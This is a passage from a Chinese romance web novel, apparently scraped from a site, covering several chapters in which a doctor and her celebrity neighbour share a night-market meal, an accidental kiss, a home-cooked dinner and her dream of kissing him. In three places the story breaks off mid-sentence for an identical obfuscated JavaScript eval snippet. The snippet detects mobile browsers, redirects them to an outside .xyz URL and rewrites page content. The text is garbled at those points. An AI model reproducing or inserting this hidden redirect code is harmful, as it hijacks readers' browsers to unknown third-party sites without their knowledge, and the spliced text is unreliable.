祁慕换好衣服走出来,脸上的舞台妆已经卸得干干净净,但那张轮廓分明的脸反而更显清爽俊朗,典型的浓颜系帅哥。他换了件蓝色衬衫,上面印着白色英文字母,随性中带着几分少年感。 温昭不经意低头看了眼自己的蓝色碎花裙,像是意识到什么,脸颊又悄悄红了—— 这两人站一起,怎么看都像故意穿的情侣装! “走吧。”祁慕戴上口罩,走到她身边。 温昭点点头,跟在他身后,心跳又不争气地加快了。 - 出租车在夜市口停下时,已经过了十点半。人流比高峰期稀疏不少,但烟火气依旧浓烈。晚风裹挟着各种小吃的香气拂过,竟意外地勾人食欲。 “小时候爸妈常带我来,”温昭摘下口罩,指着前方,笑得肆意,“就前面那家烤生蚝超级好吃,15块钱10个,既实惠又新鲜!” 顺着她手指的方向看去,那家小摊前果然排着长队,在略显空旷的夜市里格外醒目。 “你去找位子,我来排队。”祁慕自然地接过任务。 “好。” 运气不错,摊子旁刚好有一对情侣起身离开。温昭小跑过去占座,抽出纸巾擦了擦油腻的桌面。 一抬头,她的视线不自觉地被排队的那道身影吸引。 祁慕在人群中确实扎眼。 哪怕戴着口罩帽子,那优越的头身比和一米八五的个子,往哪儿一站都跟拍杂志似的。他低头摆弄手机,腕骨凸起,修长的手指在屏幕上轻点。 “叮——” 手机一震。 7:【吃辣吗?】 温昭:【不吃。】 刚回完消息,一抬头就撞上祁慕意味深长的目光。 下一秒,手机再次亮起 7:【好看吗,温医生?】 温昭手一抖,差点摔了手机—— 他怎么知道自己在看他?! 她做贼心虚地抬头,正巧又对上他的视线。 夜市昏黄的灯光落在他眼底,往日那股子冷冽劲儿几乎全不见了,眼尾微微上挑,直白又坦荡地望过来。 隔着三五米的距离,隔着嘈杂的人声和蒸腾的热气,他们竟莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286420|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其妙地对视到出神。 温昭感觉胸口那颗不争气的东西又开始扑通扑通乱跳,保持着加速运动。 而这种感觉—— 只在祁慕身上发生过。 …… 祁慕拎着两大袋生蚝回来,锡纸包着的蚝壳还冒着热气。 “这么多?!” “剩下的给陶逸兴那小子带回去。”祁慕把袋子放在小桌上,锡纸发出哗啦的响声。 温昭噗嗤笑出声—— 这是什么怨种助理啊! 她迫不及待地咬下一口生蚝,鲜甜的汁水在口腔迸开,肉质嫩得不像话,半点腥味都没有。 唯一恼人的就是这夜风,总爱和她作对似的,时不时就把她的长发吹到嘴边,害得她不得不一次次抬手拨开。 她刚准备把嘴角的头发再次拨开,眼前忽然出现一根黑色发绳。顺着那只骨节分明的手往上看,祁慕正看着她。 温昭盯着那根发绳,一脸不可思议—— 一个大男人居然随身带这个?! “化妆间顺手拿的。”祁慕像是会读心术似的,在她发问前就给出答案,还故意晃了晃,“要不要?” 温昭接过发绳,指尖不小心蹭到他掌心,触电般缩了缩。 “……谢谢。” 她低头拢起长发,纤白的手指在发间穿梭。当发丝被挽起的瞬间,那截白皙的脖颈和精致的珍珠项链一览无余,低领的吊带裙,露出两节精致的锁骨。 祁慕眸色暗了暗,喉结不自觉地滚动,而后立马撇开视线。 温昭扎好头发,疑惑地看向突然沉默的祁慕。只见他低着头,耳根通红,不由得担心道:“是…太热了吗?” “没有。” 他回答得又快又冷,语气突然转变之快让温昭一头雾水—— 这人又吃错药了? …… 等两人回过神来时,桌上的二十只生蚝早已被消灭得一干二净。 温昭看着空荡荡的锡纸盒:这下陶逸兴一只都吃不着了! 祁慕抬头时,正好看见温昭嘴角沾着一点油渍,他抽了张纸巾递过去:“擦擦。”语气还是保持着刚刚的冰冷。 温昭接过纸巾,对着黑屏的手机抹了抹,灯光有些黑,看不真切,漏掉了一处不太显眼的地方。 祁慕无奈地摇摇头,站起身俯身过来。他温热的大手覆在她手背上,带着她轻轻擦过唇角。 温昭下意识屏住呼吸。 视线所及先是那上下滚动的喉结,再往上,是线条分明的下颌。他睫毛低垂着,擦得认真。 她的手却像不是自己的了,软绵绵地任他摆弄。 “好了。”祁慕停下动作,垂眸看向她。 意外的对视,让两人都怔了怔。 温昭握着手机的手指不自觉地收紧,牙齿轻轻咬住下唇内侧。她试图移开视线,可祁慕的目光像磁铁般,让她不由自主地重新与之交汇。 夜市的嘈杂声渐渐远去,周遭的空气变得粘稠而温热。 就在这时。 “让让,让让!”一位收拾餐具的老奶奶挪动了桌子。 祁慕撑在桌沿的手瞬间失去支点,整个人向前倾去—— 18. 第18章 温热的唇瓣轻轻擦过温昭的左眉骨,像蜻蜓点水般一触即离,轻得几乎让人以为是错觉。 可身体反应骗不了人—— 那一小块皮肤瞬间灼烧起来,细小的电流顺着神经末梢一路窜到心底,激起一阵酥麻。 她瞪大了眼睛,睫毛慌乱地颤动着,整个人呆若木鸡。她缓缓抬眸,正对上祁慕近在咫尺的脸,还有那双深邃的眼眸,她张了张嘴却发不出声音。 这…这算是被亲了吗?虽然只是亲到了眼睛…… 这是她长这么大,第一次被人亲! 温昭羞得恨不得当场消失,脚趾在鞋里蜷缩起来。而桌上除了几个被吃的精光的生蚝壳,什么都没有,让她无法缓解尴尬。 再次抬眸时,发现祁慕仍在凝视着她,好像连他自己都还没反应过来。 温昭不知道他是什么心情,她只感觉本来有些清凉的天气,因为刚刚那个意外的吻,逐渐变得燥热起来,额头上沁出了一颗颗细密的汗珠。而眉眼处那个意外的吻痕,似乎还在隐隐发烫。 …… 两人的对视被温昭的手机铃声而打断。 屏幕上是妈妈打来的电话,温昭转移视线,慌乱地划着屏幕,整整划了两次。 “喂,妈。”她声音虚虚的,有些发软。 “昭昭,这么晚了还不回来啊?” “哦,”温昭轻咳了一下,掩饰着心里的慌乱,“我马上回来了。” 挂断电话,祁慕已经坐回原位。 温昭攥着衣服,吞吞吐吐地开口:“那个…我、我先走了。” “我送你。”祁慕站起身 “不用!”她慌忙摆手,声音突然拔高,又立刻弱了下去,“我自己可以回去的,你也早点休息。” 说完,温昭转身就跑。刚走出几步,她又不由自主地回头。 祁慕仍站在原地,目光灼灼地望着她,惊得她一个踉跄,慌忙加快脚步。发尾在空中划出慌乱的弧度,连背影都透着羞涩。 祁慕望着那个落荒而逃的身影,修长的手指轻轻抚过唇瓣,那里似乎还残留着她肌肤的触感。他低笑出声,眼底漾起一抹笑意。 而后又轻皱眉头:“应该不会被吓跑吧……” …… 出租车内,温昭怔怔地望着窗外。 手指不自觉抬起,指尖轻轻地抚上眼睛上方。那个意外的触碰在脑海中循环播放,每一次回想都让她脸颊滚烫一次。窗外的街景如走马灯般飞速后退,海风从半开的车窗钻进来,调皮地吹起她耳畔的碎发,也悄悄扬起她的嘴角。 …… 三十多分钟的路程,已经压下了温昭起伏的心情。 推开门,客厅灯火通明,王舒月果然还在等她。 “妈?”温昭换鞋时瞥见母亲正艰难地往后背贴膏药,连忙放下钥匙跑过去,“我来帮你。” 王舒月年轻时是艺考舞蹈老师,退休后闲不住,又带着社区老太太们跳广场舞,久而久之落下了腰疼的毛病。 “妈,我明天早上八点的飞机。”温昭小心翼翼地把膏药贴在她酸痛的腰椎上。 王舒月转过头来:“这么早?” “医院里面,只能调出了两天半的班。”温昭声音渐低。 王舒月叹了口气。 当年温昭高考690多分,什么好专业不能选,偏偏要学医,又苦又累。但实在是挨不住女儿喜欢,她也只好同意。 “那你一个人可要照顾好自己,听见没,有什么事情跟妈说,大不了咱不干了!” “妈——,”温昭埋进母亲的怀里,“你放心吧,我会照顾好自己的,只要你也好好的。” - 隔天一早,天刚微亮,温昭就拖着行李箱赶往机场。 飞机起飞前,她习惯性地将手机调成飞行模式,完全没注意到屏幕上接连弹出的四条未读消息。 酒店里,祁慕盯着手机屏幕,从八点半等到十点半,聊天界面依旧死气沉沉。 他烦躁地锁上屏幕,眉头紧皱。 “咋了这是?”陶逸兴拿着早餐晃悠过来,一看他这表情就乐了,“失恋啦?” 祁慕瞪了他一眼—— 恋都还没恋上,失个屁! “问你个事。”祁慕犹豫再三还是开口。 “你请说。”陶逸兴油腔滑调地应着。 “我有一个朋友……” “噗——”陶逸兴一个没憋住笑出了声,随后赶紧捂住嘴。好家伙,又到了“我有个朋友”系列时间! 祁慕抄起枕头就砸:“认真点!” “好好好,”陶逸兴憋着笑,“你继续。” “我那个朋友吧,他不小心…亲了一个女生,结果第二天发消息人家不理他了,为什么?”祁慕说的很认真。 “你亲温医生了?!”陶逸兴瞬间抓住重点。 “说了是不小心!”说完,祁慕赶忙反应过来,立马恼羞成怒,“啧,不是我,是我朋友!!” “行行行,朋友朋友…”陶逸兴憋笑憋得脸都扭曲了,“要我说啊,说不定人家在忙呢?或者……”他故意拖长音调,“人家压根对你没意思,觉得被冒犯了呗!” “没意思……”祁慕无意识地重复着,突然反应过来,“都说了是我朋友!” “好好好,”陶逸兴举手投降,“那我建议您那位‘朋友’啊……”他特意在“朋友”二字上咬了重音,坏笑着,“趁早死心吧!” 祁慕气不打一处来,抄起枕头就是一个暴击,直接把陶逸兴轰出了门。 随后,“砰——”的一声巨响后,房间里终于安静下来。祁慕抱着枕头瘫在床上,盯着天花板出神,眉头紧锁。 他突然想起第一次见面时,自己对她职业的那些刻薄评价。 ——那时候他是真的不理解。 某个心理学家的理论在脑海中浮现:第一印象决定了一切。 昨夜的意外之吻在记忆里闪回,温昭惊慌失措的背影格外清晰。他烦躁地抓了抓头发。这下好了,不仅第一印象稀烂,现在还多了个“流氓”的标签。 而另一边温昭也刚下飞机,关掉飞行模式的瞬间,手机消息铃声一个接着一个来,她瞥了眼锁屏上跳出来的消息提示,直接塞回兜里。 她这会儿可没功夫看。 她拖着行李箱快步往出租车站走,心里估摸着时间:到家差不多十二点多,吃个饭十二点半,一点要上班,应该来得及。 进了家门,果然已经快十二点。温昭匆匆给王舒月发了条“平安到家”的消息,转头就走进厨房。这次回家跟老妈学的牛肉面做法还记着呢,她麻利地下面条、切牛肉,没一会儿香味就飘满了整个厨房。 她端着碗热腾腾的面坐到桌前,这才有空摸出手机。微信图标上明晃晃挂着个红圈,点开一看,祁慕的头像上标着个鲜红的“4”。 8:45分—— 7:【在干嘛?】 7:【你什么时候回星海?】 7:【要不要一起回去?】 10:52分—— 7:【昨天的事,不好意思。】 温昭看着上面的信息,手指在屏幕上轻点—— 【我已经回去了。】 【意外而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286421|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没关系。】 消息发出去的瞬间,祁慕正往嘴里送饭。 手机“嗡”地一震,他筷子都没来得及放就划开锁屏。两条消息简洁得过分,他盯着那句“已经回去了”看了好久。 她连回去都没说一声…… 转念一想,好像也没必要告诉他。 手指在对话框悬了半天,却没打出一个字。 - 五一假期很快过去。 温昭百无聊赖地刷着朋友圈,指尖在屏幕上懒洋洋地划拉。忽然,她手指一顿。 祁慕更新了朋友圈。 文案只有简简单单五个字:[海风知我意] 配图是那晚的海边。 蓝眼泪在夜色里泛着粼粼的光,祁慕举着手机,对着镜头,没化妆,眉骨到鼻梁的线条干净利落,眼尾微扬,海风掀起他的白衬衫,整个人透着懒散的少年气。 温昭盯着照片看了两秒,发现了什么,双指放大了画面。 然后,她的指尖微微一顿。 ——在照片的左下角,海浪与沙滩的交界处,藏着一个模糊的侧影。 是她…… 温昭盯着那张照片看了许久,指尖轻轻一划,长按保存到了相册。 又点了个赞。 …… 窗外,夕阳已经沉到半山腰,天空染着蓝紫色的渐变。她换下衣服,拎着包刚走出更衣室。 经过113号病房时,门“咔嗒”一声开了。祁慕从里面走出来,黑色卫衣的帽子松松地扣在头上。 四目相对。 那个意外的吻似乎已经被忙碌的工作冲淡,温昭神色如常:“你什么时候回来的?” “两点刚到。”他又说,“下班了?” “嗯。” 他顿了顿,帽檐下柔和的眼睛看向她:“我没开车,送我一程?” 温昭点头:“好。” 两人并肩往医院门口走。 祁慕把口罩往上拉了拉,又压低帽檐,整个人裹得严严实实。 他本想说些什么,一道温润的男声突然插了进来—— “昭昭!” 许汀州站在路边,见到温昭出来立刻迎上来。 “汀州哥?”温昭有些意外,“你怎么在这儿?” “听我妈说,你五一回滨海了?” “嗯。” “早知道,我就跟你一起回去了。” 温昭弯了弯眼睛:“临时决定的。” “那晚上有空吗?一起吃顿饭?”许汀州目光期待。 “我今天……可能不太行……” 温昭下意识回头看了眼祁慕。 他站在原地,长腿微曲,单手插着兜,带着几分痞气。帽檐压得很低,却遮不住那双微微眯起的眼睛,冷得像冰,直直地盯着她。 而许汀州也注意到一旁存在感极强的祁慕,但没认出来,这家伙包裹的实在是严实。 “这位是?” 温昭迟疑了几秒,回复道:“……朋友。” 话音未落,祁慕直起身,运动鞋碾过一片掉落的叶子。他抬手扯了扯衣领,露出半截修长的脖颈,语气里带着几分不耐:“太热了,走了。” 温昭看了眼已经大步往前走的祁慕,又回头对许汀州歉意地笑笑:“汀州哥,那我先走了。” 许汀州苦笑着无奈点头:“那微信聊。” “好。” 走出几步的祁慕听到这话,脚步顿住,猛地回头。 帽檐下的眼神锋利如刀,口罩随着他咬牙的动作微微起伏—— 聊?聊什么聊! 19. 第19章 地下车库里灯光昏暗,两人的脚步声在空旷的空间里格外清晰。温昭跟在祁慕身后,偷偷瞄了眼他紧绷的侧脸。这人从医院门口开始就一言不发,周身气压低得吓人。 “车钥匙。”祁慕停下脚步,冷冷开口。 “干嘛?” “我来开。” 温昭慢吞吞地从包里摸出钥匙,却在递出去的瞬间迟疑了:“要不还是我来吧,你不是刚下飞机……” 祁慕突然转头,帽檐下的眼睛黑得吓人。没等温昭反应过来,他已经一把抽走钥匙,嘴角勾起一抹笑,但依旧没说话。 温昭被他这笑弄得莫名其妙。 再抬头时,祁慕已经利落地拉开驾驶座车门,长腿一迈坐了进去。 “上车。”他单手搭在方向盘上,食指敲了两下。 温昭犹豫了一下,最终还是慢吞吞地走到副驾驶旁,拉开车门坐了进去。 出乎意料的是,他开得很稳,温昭紧绷的神经渐渐放松下来。 “刚刚那人谁啊?”他冷不丁地开口。 “哦,就……邻居家的哥哥。” 红灯亮起,祁慕猛地踩下刹车。温昭猝不及防往前一栽,安全带勒得锁骨生疼。 她皱眉看向祁慕。 ——这人抽什么风? “你邻居不是我吗?”他转过头。 温昭无奈叹气:“是滨海的邻居。” “你们…”他喉结动了动,“很熟?” “嗯,以前经常一起玩。” “哦。”他淡淡回应,没再说话。 车里安静下来。 温昭偷偷瞥向他,他唇线绷成一条直线,眼神专注地盯着前方道路,修长的手指在方向盘上收紧又松开,手背上的青筋些许浮起。 车子稳稳停进车位,祁慕却没急着熄火。修长的手指在方向盘上摩挲了两下,最终又放下。 “还…不走吗?”温昭看着他。 祁慕侧过头,看着她。 副驾驶上的姑娘眼眸清亮,像星星一样,很好看。 他看得快入了神,就被脑海中另一个画面硬生生打断。刚刚医院门口那个“邻居哥哥”的脸又浮现在眼前,他记得上次出差回来,也撞见温昭和那人站在一块说笑。那人长相虽然算不上很帅,但也算温润如玉。 而且…还是青梅竹马。 “怎么了?”温昭看着面前的这个男人,一会儿叹气,一会儿皱眉,也不知道在干嘛,奇怪得很。 “没事,”祁慕拔下车钥匙,“走吧。” 温昭点点头,也下了车。 两人走进小区,等着电梯。 温昭悄悄瞥了眼身旁的人,突然想起之前在滨海的时候说要请他吃饭来着,但因为那个意外,没请成。她试探着问道:“那个…我之前说邀请你吃饭,你看看你什么时候有空?” 祁慕转过头,这才想起确实有这么回事,眼底闪过一丝幸灾乐祸,面上却不动声色。 “我都行。”顿了顿,又故意补了句,“要不今天?” “今天!?” “嗯。” 祁慕嘴角微扬,转身就往小区门口走。 温昭见状小跑着跟上:“不开车吗?” “你要开?” “算了,麻烦。”温昭摇摇头,还是走路好,况且小区就在市中心,离商场不过几步路。 暮色渐浓,江边的路灯依次亮起,晚风拂过面颊,带着些许凉意。走着走着,温昭总觉得哪里不对劲,慢慢停下脚步。 “怎么了?”祁慕转身看她,江边的路灯在他身上投下暖黄的光晕。 温昭仰头看他—— 剑眉星目,鼻梁高挺,很帅。 ……不过怎么那么全乎? 等等! 她突然瞪大眼睛,这才发现哪里不对,小跑过去:“你口罩呢?” 祁慕下意识摸了摸脸,这才想起刚才嫌闷,顺手把口罩扔小区垃圾桶了。 他吞吞吐吐地开口:“忘、忘带了。” 温昭急忙翻自己的口袋,空空如也。 她咬着下唇,试探地问:“要不…改天?” 祁慕垂着眼睫没说话。 温昭看出来他有点不开心,可又实在是没办法,不戴口罩她不敢跟他出去,他这张脸太招摇了。更别提前几天演出后,热搜榜上挂了整整三天,现在随便刷个APP还能看到相关推送,火得吓人! 而且,最关键是,他还有100万没还,要是事业断送了,怎么办…… “……好。” 两人又回到电梯口,温昭又偷偷瞄了他一眼,他唇角微抿,她能看出来几分失落。 “要不,我给你做?” 祁慕原本黯淡的眼睛倏地亮了起来,难以置信地看向她,失落的心情立刻被驱散。比起去外面吃,温昭给他做,简直赚了,他想都没想就同意了。 “好。”他答应得飞快,生怕她反悔。 可话一出口温昭就先后悔了。 她虽然会做点家常菜,但从来都是自己凑合吃。从来没单独给人做过饭,万一自己搞砸了,还真有可能送进医院…… 想了想,她决定做妈妈教她的牛肉面,之前吃的时候,感觉还不错,起码比别的拿得出手。 温昭拿出钥匙刚想打开门,祁慕就开口道:“去我家吧。” 她手指一顿,轻轻点了点头。 祁慕刚推开家门,一团毛茸茸就趴在门口,是只蓝金渐层长毛猫。 温昭惊喜地蹲下身,手指陷入柔软蓬松的毛发里,眼睛亮晶晶地抬头:“你养猫啦!” “嗯。” “它叫什么名字?” “……芝麻。”他现编了一个名字。 其实这才是他第二次见到这只猫。 今早从机场回来等红灯时,路过一家宠物店。原本他对这些小动物毫无兴趣,可橱窗里这只小家伙倔强地昂着脑袋,眼睛一瞬不瞬地盯着他看,那副模样,倒很可爱。 但由于要赶着见外婆,他就先让陶逸兴把猫送回家。 温昭把芝麻搂在怀里,指尖轻轻梳理着猫咪蓬松的毛发。它舒服的“喵”了一声,眯起眼睛,毛茸茸的尾巴缠上温昭的手腕,两人亲昵得不像话。 祁慕站在一旁,看着这一人一猫亲亲热热的模样,心里莫名泛酸: 连只猫都过得比我好。 他蹲下身,修长的手指顺着温昭的手背抚上猫咪柔软的皮毛,手指不小心碰到温昭的指尖。 温昭抬起头看着他。 她没想到,祁慕居然会养小动物,而且还这么温柔。 她以前也动过养宠物的念头,可医院繁忙的工作,早把这个小心思抛得干干净净。芝麻突然翻了个身,露出毛茸茸的小肚皮,两只前爪在空中扑腾着去够祁慕的手指。 她被这模样逗笑了,眼角弯成月牙。 祁慕看着她,缓缓出声:“饿了。” 温昭这才想起来,她是来这儿做饭的! 她尴尬地笑了笑,慌忙把猫咪塞进祁慕怀里:“我、我去厨房……” 祁慕接过小猫,看着温昭落荒而逃的背影,唇角勾起一抹狡黠的笑。 温昭走到厨房,打开冰箱就傻眼了。除了几瓶矿泉水和一盒鸡蛋,空空如也。 ——这人平时都不吃饭的吗?什么都没有! 她探出头,看着沙发上正逗猫的祁慕:“我回家拿点食材。” “好。” 她从家里拿了些食材回来时,祁慕已经把芝麻放回了猫窝,走了过来,双手撑在台面上,看着温昭忙前忙后的身影,缓缓开口:“要帮忙吗?” 温昭抬头,看着面前这个男人—— 帮忙?帮倒忙吗? 她果断摇头,手里的菜刀“咚咚咚”地剁着葱花,像是在强调自己的决心,案板上的葱花被剁得细碎,青翠的色泽映着刀刃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286422|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 二十分钟后,厨房里飘出诱人的香气。温昭用毛巾包着碗边,小心翼翼地把两碗热腾腾的牛肉面端上桌。琥珀色的汤汁上浮着翠绿的葱花,几片嫩绿的青菜衬着酱色的牛肉,看起来好像不错。 “好了!”她朝客厅喊了一声。 沙发上的人慢悠悠地起身,洗完手走过来。 温昭把筷子和勺子整齐地摆在他面前,双手交叠抵着下巴:“快尝尝!” 祁慕挑起一筷子面,吹了吹,热气氤氲中,他看见温昭满脸期待的眼神。面条入口的瞬间,浓郁的牛肉味在味蕾中蔓延。 比之前在医院旁边吃的那家入味。 温昭期待地看着他,嘴巴微张:“怎么样?” 祁慕抬眸对上她的眼神,点了点头。 下一秒,温昭嘴角立刻扬起一抹小得意的笑容,她低头扒拉自己碗里的面条,却藏不住眼角眉梢的欢喜。 …… 她再抬头时,祁慕的碗里已经只剩小半碗汤底。视线慢慢上移,她发现什么,“噗嗤”笑出声来。 “你要不擦擦?”她指了指自己的嘴角示意。 祁慕随手抽了张纸巾,胡乱在脸上抹了一把,动作粗鲁得像在擦桌子:“还有吗?” 温昭看得目瞪口呆—— 有他这么擦嘴的嘛,像是在抽嘴巴子! 原本粘在嘴角的芝麻粒,愣是被他擦到了鼻梁下方。她无奈地点点头,又指了指右脸。 祁慕会错意,又是一通乱抹:“现在呢?” “你好好擦……”温昭扶额。 他修长的手指点了点唇角:“这儿?” “上面!” “这儿?” 温昭终于看不下去了,起身走过去一把抓住他拿着纸巾的手。 “别动。” 祁慕果然乖乖不动了。 温昭专注地擦拭着,完全没注意到男人眼神渐渐变了味,那双瑞凤眼中带着几分侵略性,像是要把她生吞了。 擦着擦着,温昭总觉得这一幕很熟悉,随后,记忆渐渐回笼—— 那天晚上也是像这样,祁慕擦着她的唇角,然后…… “好了!”温昭猛地撤回手,吞咽了口水,转身时差点同手同脚。纸巾已经被他死死攥成一团,全身的血液好像都在往脸上涌。 祁慕低头闷笑一声,掏出手机照了照:“嗯,干净了。” 他起身收拾碗筷,动作利落得不像话。 “你…干嘛?”温昭还没从刚才的悸动中回神。 “我总不能白吃白喝还让你洗碗吧?”他声音里带着几分慵懒的笑意。 温昭愣在原地,看着他熟练收拾的背影,一时语塞。 “你去陪芝麻玩吧。”他又说,“对了给它喂点吃的。” “……好。” 刚走出两步,又听见他在身后说:“猫粮在猫窝左边。”声音里带着掩饰不住的笑意。 温昭头也不回地应了声,脚步又快了几分。身后传来碗碟碰撞的脆响,还有男人低低的笑声! 她走到猫窝处,拿起那袋猫粮,偷偷回头瞥了眼厨房方向,压低声音嘀咕:“这人该不会是故意的吧!?” 趴在粉色猫窝里的芝麻抬起脑袋,突然“喵”了一声,蓝绿色的大眼睛望着她,像是在附和。 温昭戳了戳它肥嘟嘟的身体:“你也觉得对不对?” 厨房里传来水流声和碗碟碰撞的轻响,她不由自主又往那边瞄了一眼。三七分的身材,袖口挽到手肘处,露出肌肉坚实的小臂。 她往食盆里倒猫粮的动作重了几分,颗粒碰撞发出“噼里啪啦”的声响。 芝麻迫不及待地扑上去,毛茸茸的毛发扫过她的手腕,痒痒的。 温昭托着腮帮子看小猫吃得欢快,而这一幕也似曾相识—— 刚才餐桌上,某人吃面时好像这副模样…… “果然有其父必有其……女?还是子?” 20. 第20章 窗外夜色渐浓,繁星点点。温昭盘腿坐在沙发上,按着遥控器,电视里正在播着医疗剧,她看的正入神。 这时—— 手机在一旁响起。 她在沙发缝里摸索半天才掏出来。看了一眼,是林晚的视频通话请求,她按下接听键。 “怎么?出差回来了?”温昭把手机支在茶几上,顺手捞过抱枕搂在怀里。 “刚到家,”林晚的声音故意压低,“我刚刚听到了一个爆炸性的消息。” “什么?” “我听说某人今天下班的时候,跟一个男性朋友一起出去了哦!” 温昭心里“咯噔”一下。 不用猜,那个“某人”估计就是她自己。 看样子是许汀州说的。 “温昭昭,给你三秒钟坦白从宽!”林晚眯着眼睛,“那男人是谁啊?” 温昭睫毛轻颤,抿着唇没吭声。 两秒的沉默后,林晚突然瞪大眼睛,像是意识到了什么:“该不会是……祁慕吧?!” 在听到“祁慕”两字的瞬间,温昭的耳根瞬间烧了起来,就像是被戳破了一个秘密,整个人肉眼可见地僵住了。她张了张嘴,却发不出声音。 “我!滴!亲!娘!啊!” “真是他啊!!!” 屏幕那头的林晚瞬间炸了。 她从床上弹跳起来,又重重坐回去:“温昭昭你出息了啊!”她凑近镜头,压低声音:“快说,你俩什么情况?” “就是不小心遇上了,”温昭揪着抱枕一角,“然后…然后他没开车,想让我送他一下……”她声音越说越小,到最后变成了气音。 “就这样?” “……嗯。” “姐妹,祁慕就住你对门诶,”林晚轻啧了一声,“你每天看着那张脸,就没什么……” 她停顿了一秒,意味深长地看着温昭:“别的想法?” 温昭怔住了。 别的……想法? 她好像…真的没敢往那方面想过。 或者说,不敢想。 她下意识摇了摇头,又迟疑着点了点头。 林晚:“你这又摇头又点头的,啥意思?” 温昭抿着唇没吭声。 她对祁慕……到底是什么感觉? 见到他时,有些时候会心跳失控,而且不由自主的很开心,但有些时候却又觉得他很烦…… 这种奇怪的感觉,她从未对任何人有过。 而且。 她也不知道这种感觉是从什么时候萌生的…… “教你个最简单粗暴的方法,你要是盯着一个人看十秒,想扑上去亲他,那就是喜欢!” 盯一个看十秒? 温昭呼吸一滞。 林晚继续说着:“昭啊,你要是喜欢一个人呢,就赶紧追,你看你条件这么好……” 她开始滔滔不绝地传授恋爱经验。 可温昭愣是一个字都没听进去,满脑子都是那句—— “你盯着一个人看十秒,要是想扑上去亲他,那就是了。” 这个念头就像个小火苗,窜上了心头,烧得她全身发烫。她咬着内唇,屏幕里林晚的脸渐渐模糊,竟变成了祁慕的模样—— 那双微双的瑞凤眼,轻扬的薄唇,还有微动的喉结…… 她怔怔地出神,指尖不自觉蜷缩。 “喂!温昭昭!”林晚在屏幕那头挥手,温昭这才反应过来,“脸这么红,你不会是在想怎么qin……” 那个亲字还没发出完整的音,就被温昭迅速打断。 “没有!” “我……就是有点热,”她看着屏幕里林晚偷乐的神情,又羞又恼,“不跟你说了!我先挂了。” 没等林晚反应,她快速按下挂断键。 她整个人扑进沙发里,把发烫的脸颊深深埋进抱枕。她蜷缩成一团,却怎么也压不住脑海里那个挥之不去的面孔。 ——要命。 …… 晚风轻拂过温昭的裙摆,海浪温柔地拍打在温昭的小腿上,又恋恋不舍地退去。 她悄悄侧眸。 祁慕就站在身侧,海风撩起他额前的碎发,露出那双深邃的眼睛,冷峻的面庞下喉结凸起,而后轻轻滑动…… 她的耳边又响起了林晚的那句话—— “你盯着一个人看十秒,要是想扑上去亲他,那就是了。” “祁慕。”她听见自己轻轻唤道。 他转过身,微微低头:“怎么了?” “别说话。” 温昭仰起脸,一瞬不瞬地望着他。海潮声渐渐远去,世界仿佛只剩下眼前这个人。 1… 2… 3… 心跳越来越快,几乎要震碎胸腔。 她连呼吸都放轻了。 6… 他的睫毛很长,鼻梁很挺,让人想用手指轻轻描摹。 7… “祁慕,” 她目光缱绻地流连在他的唇上,而后视线缓缓上移,望进那双被海风吹得微微眯起的瑞凤眼。 “十秒…太长了。” 话音刚落,她揪住他的衣领往下一拽,踮起脚尖。 唇瓣相贴的瞬间,温昭自己都吓了一跳,她居然真的这么做了。他的唇比想象中还要柔软,带着温热的气息,让她心跳漏了半拍。 下一秒。 一双有力的手臂紧紧环住她纤细的腰肢,将她整个人往怀里一带。温昭整个人都陷在他结实的胸膛,那股独属于他的柑橘香气将她浸染。 紧绷的神经渐渐松弛下来。 她轻轻闭上眼,任由这个吻不断加深,不断缠绵。 远处传来海浪拍打礁石的声音,与她急促的心跳声交织,海风温柔地拂过,撩起她的长发,与他的衬衫衣角纠缠在一起,分不清彼此。 …… 清晨的阳光从窗帘缝隙投射进来,正好照在温昭的眼睛上。她皱着眉头往被窝里缩了缩,睫毛闪了几下,最终还是不情不愿地睁开了眼。 刚醒来的大脑还有些迷糊,可那个旖旎的画面突然清晰地浮现在眼前—— 海风、拥抱,还有那个吻…… 触感真实得可怕,但理智告诉她: 这不过是个荒唐的梦! 温昭猛地瞪大眼睛,瞬间清醒过来。 她简直无法相信自己在梦里居然…居然亲了祁慕,还是强吻!!! 她一把扯过被子蒙住头,在床上扭成一团:“温昭你疯了吗?!做的什么乱七八糟的梦啊!!!” 被子里的空气越来越热,她懊恼地踢了踢腿。 ——都怪林晚那个害人精,说什么“十秒法则”! 她掀开被子透气,却发现自己的嘴角不知什么时候扬了起来。这个发现让她更加崩溃,立刻板起脸,趴倒在了床上:“完蛋了完蛋了……” 温昭吃着早饭,可梦里那个吻的触感仿佛还留在唇上,让她食之无味。 她实在没想到自己会这么花痴!! 